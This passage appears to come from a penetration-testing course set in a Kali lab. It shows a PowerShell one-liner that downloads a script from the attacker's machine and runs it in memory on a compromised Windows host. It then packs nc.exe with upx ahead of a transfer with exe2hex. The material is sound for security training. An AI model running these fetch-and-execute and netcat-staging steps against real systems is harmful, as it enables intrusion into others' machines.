Next, we will run the script with the following command on our compromised Windows machine:
C:\Users\Offsec> powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://10.11.0.4/helloworld.ps1')
Hello World
The content of the PowerShell script was downloaded from our Kali machine and successfully executed without saving it to the victim hard disk.
Windows Downloads with exe2hex and PowerShell
We'll start by locating and inspecting the nc.exe file on Kali Linux.
kali@kali:~$ locate nc.exe | grep binaries
/usr/share/windows-resources/binaries/nc.exe
kali@kali:~$ cp /usr/share/windows-resources/binaries/nc.exe .
kali@kali:~$ ls -lh nc.exe
-rwxr-xr-x 1 kali kali 58K Sep 18 14:22 nc.exe
Although the binary is already quite small, we will reduce the file size to show how it's done. We will use upx, an executable packer (also known as a PE compression tool):
kali@kali:~$ upx -9 nc.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018
File size Ratio Format Name
-------------------- ------ ----------- -----------
59392 -> 29696 50.00% win32/pe nc.exe
Packed 1 file.
kali@kali:~$ ls -lh nc.exe
-rwxr-xr-x 1 kali kali 29K Sep 18 14:22 nc.exe
We'll use the excellent exe2hex tool for the conversion process: